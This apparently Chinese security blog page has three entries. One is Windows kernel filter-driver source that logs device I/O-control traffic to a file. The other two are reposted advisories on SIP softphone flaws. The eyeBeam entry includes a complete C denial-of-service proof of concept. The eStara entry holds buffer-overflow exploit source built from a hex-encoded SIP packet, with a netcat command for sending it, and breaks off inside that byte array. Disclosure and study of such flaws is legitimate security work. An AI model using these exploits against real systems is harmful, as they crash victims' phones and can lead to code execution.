2006年01月20日



监视设备驱动通讯内容




Author:  sinister

Email:   sinister@whitecell.org

Homepage:http://www.whitecell.org


Date:    2006-01-10


/*****************************************************************
文件名 : WssFilterDrv.c
描述 : 跟踪记录现有设备驱动
作者 : sinister
最后修改日期 : 2006.1.09

*****************************************************************/


#include "ntddk.h"
#include "string.h"
#include "stdio.h"

//
// 输入标志
//
#define IN_BUFFER_FLAG 0x925
//
// 输出标志
//
#define OUT_BUFFER_FLAG 0x926

////////////////////////////////////////////////////////////////
// 结构作用 :设备对象扩展结构,用于保存过滤设备信息
// 注意 : 需设备对象 DEVICE_OBJECT 有效情况下使用
/////////////////////////////////////////////////////////////////
// 作者 : sinister
// 发布版本 : 1.00.00
// 发布日期 : 2005.12.27
/////////////////////////////////////////////////////////////////
// 重 大 修 改 历 史
////////////////////////////////////////////////////////////////
// 修改者 :
// 修改日期 :
// 修改内容 :
/////////////////////////////////////////////////////////////////
typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT DeviceObject; // 过滤设备对象
PDEVICE_OBJECT TargetDevice; // 附加后的设备对象
PFILE_OBJECT FileObject; // 原设备的文件对象
ULONG DeviceExtensionFlags; // 预留的扩展标志
}DEVICE_EXTENSION, * PDEVICE_EXTENSION;

VOID DriverUnload( IN PDRIVER_OBJECT DriverObject );
NTSTATUS DispatchPassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp );
NTSTATUS CompletionRoutine( IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context );

NTSTATUS WriteLog( PVOID lpBuffer, ULONG uSize );
NTSTATUS GetSystemBuffer( PIRP Irp, PVOID pBuffer, SIZE_T Length, LONG* pMode );
NTSTATUS FormatMessage( ULONG IoControl,
PUCHAR pBuf,
ULONG uSize,
ULONG dwStatus,
ULONG uMode );
NTSTATUS ReadIOCtrlBuffer( PIRP Irp,
PIO_STACK_LOCATION pIrpStack,
ULONG dwStatus );


/////////////////////////////////////////////////////////////////
// 函数类型 :自定义工具函数
// 函数模块 : 过滤模块
////////////////////////////////////////////////////////////////
// 功能 :创建过滤设备将其附加到需要跟踪的设备上,保存设备相关
// 信息,返回附加后的驱动对象
// 注意 :
/////////////////////////////////////////////////////////////////
// 作者 : sinister
// 发布版本 : 1.00.00
// 发布日期 : 2005.12.27
/////////////////////////////////////////////////////////////////
// 重 大 修 改 历 史
////////////////////////////////////////////////////////////////
// 修改者 :
// 修改日期 :
// 修改内容 :
/////////////////////////////////////////////////////////////////
NTSTATUS
AttachFilterDevice( IN UNICODE_STRING* DeviceName, // 需要跟踪的设备名
IN PDRIVER_OBJECT DriverObject, // 过滤驱动也就是本驱动的驱动对象
OUT PDRIVER_OBJECT* FilterDriverObject ) // 返回附加后的驱动对象
{
PDEVICE_OBJECT DeviceObject;
PDEVICE_OBJECT FilterDeviceObject;
PDEVICE_OBJECT TargetDevice;
PFILE_OBJECT FileObject;
PDEVICE_EXTENSION DevExt;

NTSTATUS ntStatus;

//
// 根据设备名称找到需要附加的设备对象
//
ntStatus = IoGetDeviceObjectPointer( DeviceName,
FILE_ALL_ACCESS,
&FileObject,
&DeviceObject );

if ( !NT_SUCCESS( ntStatus ) )
{
DbgPrint( "IoGetDeviceObjectPointer() %d\n", ntStatus );
return ntStatus;
}

//
// 创建过滤设备对象
//
ntStatus = IoCreateDevice( DriverObject,
sizeof( DEVICE_EXTENSION ),
NULL,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&FilterDeviceObject );

if ( !NT_SUCCESS( ntStatus ) )
{
ObDereferenceObject( FileObject );
DbgPrint( "IoCreateDevice() %d!\n", ntStatus );
return ntStatus;
}

//
// 得到设备扩展结构,以便下面保存过滤设备信息
//
DevExt = ( PDEVICE_EXTENSION ) FilterDeviceObject->DeviceExtension;

//
// 将过滤设备对象附加在目标设备对象之上,并返回附加后的原设备对象
//
TargetDevice = IoAttachDeviceToDeviceStack( FilterDeviceObject,
DeviceObject );
if ( !TargetDevice )
{
ObDereferenceObject( FileObject );
IoDeleteDevice( FilterDeviceObject );
DbgPrint( "IoAttachDeviceToDeviceStack() %d!\n", ntStatus );
return STATUS_INSUFFICIENT_RESOURCES;
}

//
// 保存过滤设备信息
//
DevExt->DeviceObject = FilterDeviceObject;
DevExt->TargetDevice = TargetDevice;
DevExt->FileObject = FileObject;

//
// 设置过滤设备相关信息与标志
//
FilterDeviceObject->DeviceType = TargetDevice->DeviceType;
FilterDeviceObject->Characteristics = TargetDevice->Characteristics;
FilterDeviceObject->Flags |= ( TargetDevice->Flags & ( DO_DIRECT_IO |
DO_BUFFERED_IO ) );

//
// 返回附加后的驱动对象
//
*FilterDriverObject = TargetDevice->DriverObject;

ObDereferenceObject( FileObject );

return STATUS_SUCCESS;
}

/////////////////////////////////////////////////////////////////
// 函数类型 :自定义工具函数
// 函数模块 : 过滤模块
////////////////////////////////////////////////////////////////
// 功能 : 得到内核/用户模式 I/O 缓冲区数据,并返回当前数据所
// 在模式
// 注意 : 在 "过滤模块" 中此函数是为了配合 ReadIOCtrlBuffer
// 函数得到数据
/////////////////////////////////////////////////////////////////
// 作者 : sinister
// 发布版本 : 1.00.00
// 发布日期 : 2005.12.27
/////////////////////////////////////////////////////////////////
// 重 大 修 改 历 史
////////////////////////////////////////////////////////////////
// 修改者 :
// 修改日期 :
// 修改内容 :
/////////////////////////////////////////////////////////////////
NTSTATUS
GetSystemBuffer( PIRP Irp, PVOID pBuffer, SIZE_T Length, LONG* pMode )
{
PUCHAR pSysBuffer = NULL;

if ( pBuffer == NULL )
{
return STATUS_INSUFFICIENT_RESOURCES;
}

//
// 判断当前 I/O 模式与数据存放的位置
//
switch ( Irp->RequestorMode )
{
case KernelMode:
*pMode = 0; // 内核模式 I/O

if ( Irp->UserBuffer )
{
pSysBuffer = Irp->UserBuffer;
}
else if ( Irp->MdlAddress )
{
pSysBuffer = ( PUCHAR )
MmGetSystemAddressForMdlSafe( Irp->MdlAddress,
NormalPagePriority );

if ( pSysBuffer == NULL )
{
return STATUS_INSUFFICIENT_RESOURCES;
}
}

break;

case UserMode:
*pMode = 1; // 用户模式 I/O

if ( Irp->UserBuffer )
{
pSysBuffer = Irp->UserBuffer;
}
else if ( Irp->MdlAddress )
{
pSysBuffer = ( PUCHAR )
MmGetSystemAddressForMdlSafe( Irp->MdlAddress,
NormalPagePriority );

if ( pSysBuffer == NULL )
{
return STATUS_INSUFFICIENT_RESOURCES;
}
}
break;

default:
break;
}

//
// 输出得到的缓冲区
//
RtlCopyMemory( pBuffer, pSysBuffer, Length );

return STATUS_SUCCESS;
}

/////////////////////////////////////////////////////////////////
// 函数类型 :自定义工具函数
// 函数模块 : 过滤模块
////////////////////////////////////////////////////////////////
// 功能 : 格式化缓冲区数据,并记录日志
// 注意 : 在 "过滤模块" 中此函数作用是格式化 GetSystemBuffer
函数得到的数据。因为此函数调用了日志函数,所以此函数
// 仅能在 IRQL == PASSVIE_LEVEL 级别运行。
/////////////////////////////////////////////////////////////////
// 作者 : sinister
// 发布版本 : 1.00.00
// 发布日期 : 2005.12.27
/////////////////////////////////////////////////////////////////
// 重 大 修 改 历 史
////////////////////////////////////////////////////////////////
// 修改者 : sinister
// 修改日期 : 2006.01.03
// 修改内容 : 在函数中增加了记录日志函数
/////////////////////////////////////////////////////////////////
NTSTATUS
FormatMessage( ULONG IoControl,
PUCHAR pBuf,
ULONG uSize,
ULONG dwStatus,
ULONG uMode )
{
ULONG uLen;
ULONG uCount = 0;
PVOID pBuffer = NULL;
UCHAR uTitle[100];
UCHAR uTemp[3];

if ( pBuf == NULL || uSize < 0 )
{
return STATUS_INSUFFICIENT_RESOURCES;
}

//
// 低层驱动返回数据后,设置此标志
//
if ( dwStatus == OUT_BUFFER_FLAG )
{
if ( uMode == 0 )
{
sprintf( uTitle, "KERNEL MODE: IoControl=%x, OUTBUFFER:\n", IoControl );
}
else
{
sprintf( uTitle, "USER MODE: IoControl=%x, OUTBUFFER:\n", IoControl );
}
}

//
// 上层向低层驱动发送数据,设置此标志
//
else if ( dwStatus == IN_BUFFER_FLAG )
{
if ( uMode == 0 )
{
sprintf( uTitle, "KERNEL MODE: IoControl=%x, INBUFFER:\n", IoControl );
}
else
{
sprintf( uTitle, "USER MODE: IoControl=%x, INBUFFER:\n", IoControl );
}
}

//
// 记录日志,目的是记录分析,所以没有考虑效率。
//
WriteLog( uTitle, strlen( uTitle ) );

for ( uLen = 0; uLen < uSize; uLen++ )
{
sprintf( uTemp, "%.2X ", pBuf[uLen] );
WriteLog( uTemp, sizeof( uTemp ) );
if ( uLen % 16 == 0 )
{
WriteLog( "\n", 1 );
}
}

WriteLog( "\n", 1 );

return STATUS_SUCCESS;
}

/////////////////////////////////////////////////////////////////
// 函数类型 :自定义工具函数
// 函数模块 : 过滤模块
////////////////////////////////////////////////////////////////
// 功能 : 得到 IRP_MJ_DEVICE_CONTROL 的 I/O 数据
// 注意 :
/////////////////////////////////////////////////////////////////
// 作者 : sinister
// 发布版本 : 1.00.00
// 发布日期 : 2005.12.27
/////////////////////////////////////////////////////////////////
// 重 大 修 改 历 史
////////////////////////////////////////////////////////////////
// 修改者 :
// 修改日期 :
// 修改内容 :
/////////////////////////////////////////////////////////////////
NTSTATUS
ReadIOCtrlBuffer( PIRP Irp, PIO_STACK_LOCATION pIrpStack, ULONG dwStatus )
{
ULONG InBufLen;
ULONG OutBufLen;
ULONG IoControl;

PUCHAR pSysBuffer = NULL;
KEVENT KrnlEvent;
NTSTATUS ntStatus;
ULONG uMode;

//
// 得到设备控制字与 I/O 缓冲区长度
//
InBufLen = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
OutBufLen = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
IoControl = pIrpStack->Parameters.DeviceIoControl.IoControlCode;

if ( dwStatus == OUT_BUFFER_FLAG )
{
//
// 如果是低层驱动返回的数据,缓冲区长度则要这样获得
//
OutBufLen = Irp->IoStatus.Information;

pSysBuffer = ( PUCHAR ) ExAllocatePool( PagedPool,
OutBufLen + sizeof( PUCHAR ) );
if ( pSysBuffer == NULL )
{
return STATUS_INSUFFICIENT_RESOURCES;
}

ntStatus = GetSystemBuffer( Irp, pSysBuffer, OutBufLen, &uMode );
if ( !NT_SUCCESS( ntStatus ) )
{
ExFreePool( pSysBuffer );
return STATUS_INSUFFICIENT_RESOURCES;
}

FormatMessage( IoControl, pSysBuffer, OutBufLen, dwStatus, uMode );
}
else
{
pSysBuffer = ( PUCHAR ) ExAllocatePool( PagedPool,
InBufLen + sizeof( PUCHAR ) );
if ( pSysBuffer == NULL )
{
return STATUS_INSUFFICIENT_RESOURCES;
}

ntStatus = GetSystemBuffer( Irp, pSysBuffer, InBufLen, &uMode );
if ( !NT_SUCCESS( ntStatus ) )
{
ExFreePool( pSysBuffer );
return STATUS_INSUFFICIENT_RESOURCES;
}

FormatMessage( IoControl, pSysBuffer, InBufLen, dwStatus, uMode );
}

if ( pSysBuffer )
{
ExFreePool( pSysBuffer );
}

return Irp->IoStatus.Status;
}

/////////////////////////////////////////////////////////////////
// 函数类型 :系统函数
// 函数模块 : 过滤模块
////////////////////////////////////////////////////////////////
// 功能 : 替换指定设备的驱动例程使其指向当前过滤驱动的派遣例程
// 注意 :
/////////////////////////////////////////////////////////////////
// 作者 : sinister
// 发布版本 : 1.00.00
// 发布日期 : 2005.12.27
/////////////////////////////////////////////////////////////////
// 重 大 修 改 历 史
////////////////////////////////////////////////////////////////
// 修改者 :
// 修改日期 :
// 修改内容 :
/////////////////////////////////////////////////////////////////
NTSTATUS
DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath )
{
PDRIVER_OBJECT FilterDrvObj;
UNICODE_STRING DeviceName;
PDRIVER_DISPATCH EmptyDispatch;
NTSTATUS ntStatus;
ULONG iCount;

EmptyDispatch = DriverObject->MajorFunction[IRP_MJ_CREATE];

RtlInitUnicodeString( &DeviceName, L"\\Device\\FNT0" );
FilterDrvObj = NULL;

DriverObject->DriverUnload = DriverUnload;

ntStatus = AttachFilterDevice( &DeviceName, DriverObject, &FilterDrvObj );
if ( !NT_SUCCESS( ntStatus ) || FilterDrvObj == NULL )
{
DbgPrint( "Attach Device to failed!\n" );
return STATUS_INSUFFICIENT_RESOURCES;
}

//
// 只过滤目标驱动对象使用的例程
//
for ( iCount = 0; iCount < IRP_MJ_MAXIMUM_FUNCTION; iCount++ )
{
if ( FilterDrvObj->MajorFunction[iCount] != EmptyDispatch &&
DriverObject->MajorFunction[iCount] == EmptyDispatch )
{
DriverObject->MajorFunction[iCount] = DispatchPassThrough;
}
}

return STATUS_SUCCESS;
}

/////////////////////////////////////////////////////////////////
// 函数类型 :系统函数
// 函数模块 : 过滤模块
////////////////////////////////////////////////////////////////
// 功能 : 删除并卸载过滤设备
// 注意 : 卸载列程中并没有做过多的处理,在过滤驱动中如果当前所
// 附加的设备IRP 很多的情况下,这样做可能会导致 BSOD
/////////////////////////////////////////////////////////////////
// 作者 : sinister
// 发布版本 : 1.00.00
// 发布日期 : 2005.12.27
/////////////////////////////////////////////////////////////////
// 重 大 修 改 历 史
////////////////////////////////////////////////////////////////
// 修改者 :
// 修改日期 :
// 修改内容 :
/////////////////////////////////////////////////////////////////
VOID
DriverUnload( IN PDRIVER_OBJECT DriverObject )
{
PDEVICE_OBJECT FilterDevice;
PDEVICE_OBJECT TargetDevice;
PDEVICE_EXTENSION DevExt;
NTSTATUS ntStatus;

FilterDevice = DriverObject->DeviceObject;
DevExt = ( PDEVICE_EXTENSION ) FilterDevice->DeviceExtension;
TargetDevice = DevExt->TargetDevice;

//
// 从目标断开附加设备,并删除过滤设备
//
IoDetachDevice( TargetDevice );
IoDeleteDevice( FilterDevice );

return;
}


/////////////////////////////////////////////////////////////////
// 函数类型 :自定义工具函数
// 函数模块 : 过滤模块
////////////////////////////////////////////////////////////////
// 功能 : 过滤驱动的派遣例程
// 注意 :
/////////////////////////////////////////////////////////////////
// 作者 : sinister
// 发布版本 : 1.00.00
// 发布日期 : 2005.12.27
/////////////////////////////////////////////////////////////////
// 重 大 修 改 历 史
////////////////////////////////////////////////////////////////
// 修改者 :
// 修改日期 :
// 修改内容 :
/////////////////////////////////////////////////////////////////
NTSTATUS
DispatchPassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
PIO_STACK_LOCATION pIrpStack;
PDEVICE_OBJECT pDeviceObject;
PDEVICE_EXTENSION DevExtension = ( PDEVICE_EXTENSION )
DeviceObject->DeviceExtension;
NTSTATUS ntStatus;
KEVENT KrnlEvent;

pIrpStack = IoGetCurrentIrpStackLocation( Irp );

//
// 这里只过滤了 IRP_MJ_DEVICE_CONTROL 需要过滤更多的控制字可以
// 在这里增加判断
//
if ( pIrpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL )
{
//
// 上层发送数据,设置 IN_BUFFER_FLAG 标志记录。
//
ReadIOCtrlBuffer( Irp, pIrpStack, IN_BUFFER_FLAG );

//
// 因为是上层过滤驱动,所以必须向低层驱动请求返回数据
// 这里虽然没有对数据进行修改,但为了以后扩充方便
// 还是复制了 IRP 堆栈和安装完成列程
//
IoCopyCurrentIrpStackLocationToNext( Irp );
IoSetCompletionRoutine( Irp, CompletionRoutine, NULL, TRUE, TRUE, TRUE );

( void ) IoCallDriver( DevExtension->TargetDevice, Irp );
//
// 当低层驱动返回数据后,设置 OUT_BUFFER_FLAG 标志,再次记录。
//
ntStatus = ReadIOCtrlBuffer( Irp, pIrpStack, OUT_BUFFER_FLAG );

return ntStatus;
}

//
// 对于其他控制字则直接传递到低层驱动,无须安装完成列程
//
else
{
IoSkipCurrentIrpStackLocation( Irp );
return IoCallDriver( DevExtension->TargetDevice, Irp );
}
}

/////////////////////////////////////////////////////////////////
// 函数类型 :系统回调函数
// 函数模块 : 过滤模块
////////////////////////////////////////////////////////////////
// 功能 :
// 注意 : 这里没有对返回数据做操作
/////////////////////////////////////////////////////////////////
// 作者 : sinister
// 发布版本 : 1.00.00
// 发布日期 : 2005.12.27
/////////////////////////////////////////////////////////////////
// 重 大 修 改 历 史
////////////////////////////////////////////////////////////////
// 修改者 :
// 修改日期 :
// 修改内容 :
/////////////////////////////////////////////////////////////////
NTSTATUS
CompletionRoutine( IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context )
{
if ( Irp->PendingReturned )
{
IoMarkIrpPending( Irp );
}

return STATUS_SUCCESS;
}

/////////////////////////////////////////////////////////////////
// 函数类型 :自定义工具函数
// 函数模块 : 过滤模块
////////////////////////////////////////////////////////////////
// 功能 : 记录日志到 C 盘的 WSSFILTER.LOG 中
// 注意 : 只能在 IRQL == PASSVIE_LEVEL 级别使用
/////////////////////////////////////////////////////////////////
// 作者 : sinister
// 发布版本 : 1.00.00
// 发布日期 : 2005.12.27
/////////////////////////////////////////////////////////////////
// 重 大 修 改 历 史
////////////////////////////////////////////////////////////////
// 修改者 :
// 修改日期 :
// 修改内容 :
/////////////////////////////////////////////////////////////////
NTSTATUS
WriteLog( PVOID lpBuffer, ULONG uSize )
{
NTSTATUS status;
IO_STATUS_BLOCK IoStatusBlock;
OBJECT_ATTRIBUTES ObjectAttributes;
FILE_POSITION_INFORMATION FilePOTInfo;
FILE_STANDARD_INFORMATION FileSTDInfo;

ANSI_STRING ansiString;
UNICODE_STRING filenameString;
HANDLE hFile;
WCHAR LogFile[] = L"\\??\\C:\\WSSFILTER.LOG";


RtlInitUnicodeString( &filenameString, LogFile );

InitializeObjectAttributes( &ObjectAttributes,
&filenameString,
OBJ_CASE_INSENSITIVE,
NULL,
NULL );

status = ZwCreateFile( &hFile,
GENERIC_WRITE | SYNCHRONIZE | GENERIC_READ,
&ObjectAttributes,
&IoStatusBlock,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_DELETE,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0 );

if ( !NT_SUCCESS( status ) )
{
return status;
}

ZwQueryInformationFile( hFile,
&IoStatusBlock,
( void * ) &FileSTDInfo,
sizeof( FileSTDInfo ),
FileStandardInformation );


if ( !NT_SUCCESS( IoStatusBlock.Status ) )
{
return IoStatusBlock.Status;
}

FilePOTInfo.CurrentByteOffset = FileSTDInfo.EndOfFile;

ZwSetInformationFile( hFile,
&IoStatusBlock,
( void * ) &FilePOTInfo,
sizeof( FilePOTInfo ),
FilePositionInformation );


if ( !NT_SUCCESS( IoStatusBlock.Status ) )
{
return IoStatusBlock.Status;
}

ZwWriteFile( hFile, 0, 0, 0, &IoStatusBlock, lpBuffer, uSize, NULL, NULL );

ZwClose( hFile );

return IoStatusBlock.Status;
}





WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。

WSS 主页:http://www.whitecell.org/


WSS 论坛:http://www.whitecell.org/forums/

2006年01月17日

http://www.securityfocus.com/archive/1/422009/30/0/threaded

eyeBeam is a SIP softphone supporting open standards for VoIP, Video and Instant Messaging.

There is a vunerability in it while handing SIP header with a large field name like this:



INVITE sip:a (at) 127.0.0 (dot) 1 [email concealed] SIP/2.0

Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK00001249z9hG4bK.00004119

From: 1249 <sip:a (at) 127.0.0 (dot) 1 [email concealed]>;tag=1249

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa: Receiver <sip:100012 (at) 172.16.1 (dot) 1 [email concealed]>

Call-ID: 4166@<172.16.3.6> <–Change it to target IP

CSeq: 18571 INVITE

Expires: 1200

Max-Forwards: 70

Content-Type: application/sdp

Content-Length: 130



v=0

o=1249 1249 1249 IN IP4 127.0.0.1

s=Session SDP

c=IN IP4 127.0.0.1

t=0 0

m=audio 9876 RTP/AVP 0

a=rtpmap:0 PCMU/8000



If you send the packet(several times) to eyeBeam when it’s starting and have no call opreation,

then it will crashed for reading a unvalid address which we can control.

If you send it(several times) when it’s in a call, then it will be
unresponse(will not dial and receive any more) or crashed for writing a
address(cannot control it now, but it’s possible, and as I think, it
can lead to execute code).

It looks like some memory operation error exists.



Addtion : the lastest version is affected.



====================eyeBeam_dos.c========================



/*********************************************************

eyeBeam handling SIP header DOS POC

Author : ZwelL

Email : zwell (at) sohu (dot) com [email concealed]

Blog : http://www.donews.net/zwell

Data : 2006.1.15

*********************************************************/



#include <stdio.h>

#include "winsock2.h"



#pragma comment(lib, "ws2_32")



char *sendbuf1 =

"INVITE sip:a (at) 127.0.0 (dot) 1 [email concealed] SIP/2.0\r\n"

"Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK00001249z9hG4bK.00004119\r\n"

"From: test <sip:a (at) 127.0.0 (dot) 1 [email concealed]>;tag=1249\r\n"

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

"aaaaaaaa: test <sip:a (at) 127.0.0 (dot) 1 [email concealed]>\r\n";



char *sendbuf2 =

"CSeq: 18571 INVITE\r\n"

"Expires: 1200\r\n"

"Max-Forwards: 70\r\n"

"Content-Type: application/sdp\r\n"

"Content-Length: 130\r\n"

"\r\n"

"v=0\r\n"

"o=1249 1249 1249 IN IP4 127.0.0.1\r\n"

"s=Session SDP\r\n"

"c=IN IP4 127.0.0.1\r\n"

"t=0 0\r\n"

"m=audio 9876 RTP/AVP 0\r\n"

"a=rtpmap:0 PCMU/8000\r\n";



int main(int argc, char **argv)

{

WSADATA wsaData;

SOCKET sock;

sockaddr_in RecvAddr;

char sendbuf[4096];

int iResult;

int port = 8376; //default is 8376, but SIP’s default port is 5060



printf("eyeBeam handling SIP header DOS POC\nAuthor : ZwelL\n");

printf("Email : zwell (at) sohu (dot) com [email concealed]\nBlog : http://www.donews.net/zwell\n\n");

if(argc < 2)

{

printf("Usage : %s <target ip> [port]\n", argv[0]);

return 0;

}



if(argc == 3)

port = atoi(argv[2]);



iResult = WSAStartup(MAKEWORD(2,2), &wsaData);

if (iResult != NO_ERROR)

{

printf("Error at WSAStartup()\n");

return 0;

}



sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);



ZeroMemory(&RecvAddr, sizeof(RecvAddr));

RecvAddr.sin_family = AF_INET;

RecvAddr.sin_port = htons((short)port);

RecvAddr.sin_addr.s_addr = inet_addr(argv[1]);



printf("Target is : %s\t port is : %d\r\n", argv[1], port);

for(int i=0; i<20; i++)

{

sprintf(sendbuf, "%sCall-ID: 4166@<%s>\r\n%s", sendbuf1, argv[1], sendbuf2);

if(SOCKET_ERROR == sendto(sock,

sendbuf,

strlen(sendbuf),

0,

(SOCKADDR *) &RecvAddr,

sizeof(RecvAddr)))

{

printf("sendto wrong:%d\n", WSAGetLastError());

continue;

}

}



printf("Now check the target is crafted?\r\n");



WSACleanup();

return 1;

}

2006年01月12日

http://www.securityfocus.com/archive/1/421596/30/0/threaded

eStara Softphone is a SIP softphone. There exists a buffer overflow
venerability in the SIP stack when a SIP packet with SDP data, and the
data length of the attribute filed ("a") large than 4021 bytes.

By exploiting this buffer overflow, an attacker can potentially gain
control of the return address of the executing function, allowing
arbitrary code execution with logon user’s privileges.

eStara Softphone 3.0.1.14 and 3.0.1.46(latest) are vulnerable. the others may also be affected.



===============exploit.c=====================

/***************************************

eStara Softphone buffer overflow exploit

tested on :

eStara Softphone 3.0.1.14

||||||

eStara Softphone 3.0.1.46

Vender website : http://www.estara.com/softphone/softph.exe



Run this application, then use nc to send builded packet :

nc -u 127.0.0.1 5060 <sip_overflow_exploit.dat

It will display a "hack" dialogbox in the target if it runs softphone.



Author : ZwelL

Mail : zwell (at) sohu (dot) com [email concealed]

WebSite : http://www.donews.net/zwell

Data : 2006.01.11

**************************************/



#include <windows.h>

#include <stdio.h>



unsigned char invite[] = {

0×49, 0×4E, 0×56, 0×49, 0×54, 0×45, 0×20, 0×73, 0×69, 0×70, 0×3A, 0×61, 0×40, 0×31, 0×32, 0×37,

0×2E, 0×30, 0×2E, 0×30, 0×2E, 0×31, 0×20, 0×53, 0×49, 0×50, 0×2F, 0×32, 0×2E, 0×30, 0×0D, 0×0A,

0×56, 0×69, 0×61, 0×3A, 0×20, 0×53, 0×49, 0×50, 0×2F, 0×32, 0×2E, 0×30, 0×2F, 0×55, 0×44, 0×50,

0×20, 0×31, 0×37, 0×32, 0×2E, 0×31, 0×36, 0×2E, 0×33, 0×2E, 0×36, 0×3A, 0×33, 0×33, 0×33, 0×33,

0×3B, 0×62, 0×72, 0×61, 0×6E, 0×63, 0×68, 0×3D, 0×7A, 0×39, 0×68, 0×47, 0×34, 0×62, 0×4B, 0×30,

0×30, 0×30, 0×30, 0×34, 0×31, 0×37, 0×38, 0×7A, 0×39, 0×68, 0×47, 0×34, 0×62, 0×4B, 0×2E, 0×30,

0×30, 0×30, 0×30, 0×32, 0×46, 0×32, 0×41, 0×0D, 0×0A, 0×46, 0×72, 0×6F, 0×6D, 0×3A, 0×20, 0×34,

0×31, 0×37, 0×38, 0×20, 0×3C, 0×73, 0×69, 0×70, 0×3A, 0×61, 0×40, 0×31, 0×32, 0×37, 0×2E, 0×30,

0×2E, 0×30, 0×2E, 0×31, 0×3E, 0×3B, 0×74, 0×61, 0×67, 0×3D, 0×34, 0×31, 0×37, 0×38, 0×0D, 0×0A,

0×54, 0×6F, 0×3A, 0×20, 0×52, 0×65, 0×63, 0×65, 0×69, 0×76, 0×65, 0×72, 0×20, 0×3C, 0×73, 0×69,

0×70, 0×3A, 0×61, 0×40, 0×31, 0×32, 0×37, 0×2E, 0×30, 0×2E, 0×30, 0×2E, 0×31, 0×3E, 0×0D, 0×0A,

0×43, 0×61, 0×6C, 0×6C, 0×2D, 0×49, 0×44, 0×3A, 0×20, 0×32, 0×34, 0×34, 0×33, 0×30, 0×40, 0×31,

0×37, 0×32, 0×2E, 0×31, 0×36, 0×2E, 0×33, 0×2E, 0×36, 0×0D, 0×0A, 0×43, 0×53, 0×65, 0×71, 0×3A,

0×20, 0×31, 0×38, 0×32, 0×32, 0×35, 0×20, 0×49, 0×4E, 0×56, 0×49, 0×54, 0×45, 0×0D, 0×0A, 0×43,

0×6F, 0×6E, 0×74, 0×61, 0×63, 0×74, 0×3A, 0×20, 0×34, 0×31, 0×37, 0×38, 0×20, 0×3C, 0×73, 0×69,

0×70, 0×3A, 0×61, 0×40, 0×31, 0×32, 0×37, 0×2E, 0×30, 0×2E, 0×30, 0×2E, 0×31, 0×3E, 0×0D, 0×0A,

0×45, 0×78, 0×70, 0×69, 0×72, 0×65, 0×73, 0×3A, 0×20, 0×31, 0×32, 0×30, 0×30, 0×0D, 0×0A, 0×4D,

0×61, 0×78, 0×2D, 0×46, 0×6F, 0×72, 0×77, 0×61, 0×72, 0×64, 0×73, 0×3A, 0×20, 0×37, 0×30, 0×0D,

0×0A, 0×43, 0×6F, 0×6E, 0×74, 0×65, 0×6E, 0×74, 0×2D, 0×54, 0×79, 0×70, 0×65, 0×3A, 0×20, 0×61,

0×70, 0×70, 0×6C, 0×69, 0×63, 0×61, 0×74, 0×69, 0×6F, 0×6E, 0×2F, 0×73, 0×64, 0×70, 0×0D, 0×0A,

0×43, 0×6F, 0×6E, 0×74, 0×65, 0×6E, 0×74, 0×2D, 0×4C, 0×65, 0×6E, 0×67, 0×74, 0×68, 0×3A, 0×20,

0×34, 0×32, 0×32, 0×32, 0×0D, 0×0A, 0×0D, 0×0A, 0×76, 0×3D, 0×30, 0×0D, 0×0A, 0×6F, 0×3D, 0×34,

0×31, 0×37, 0×38, 0×20, 0×34, 0×31, 0×37, 0×38, 0×20, 0×34, 0×31, 0×37, 0×38, 0×20, 0×49, 0×4E,

0×20, 0×49, 0×50, 0×34, 0×20, 0×31, 0×37, 0×32, 0×2E, 0×31, 0×36, 0×2E, 0×33, 0×2E, 0×36, 0×0D,

0×0A, 0×73, 0×3D, 0×53, 0×65, 0×73, 0×73, 0×69, 0×6F, 0×6E, 0×20, 0×53, 0×44, 0×50, 0×0D, 0×0A,

0×63, 0×3D, 0×49, 0×4E, 0×20, 0×49, 0×50, 0×34, 0×20, 0×31, 0×37, 0×32, 0×2E, 0×31, 0×36, 0×2E,

0×33, 0×2E, 0×36, 0×0D, 0×0A, 0×74, 0×3D, 0×30, 0×20, 0×30, 0×0D, 0×0A, 0×6D, 0×3D, 0×61, 0×75,

0×64, 0×69, 0×6F, 0×20, 0×39, 0×38, 0×37, 0×36, 0×20, 0×52, 0×54, 0×50, 0×2F, 0×41, 0×56, 0×50,

0×20, 0×30, 0×0D, 0×0A, 0×61, 0×3D, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61, 0×61,

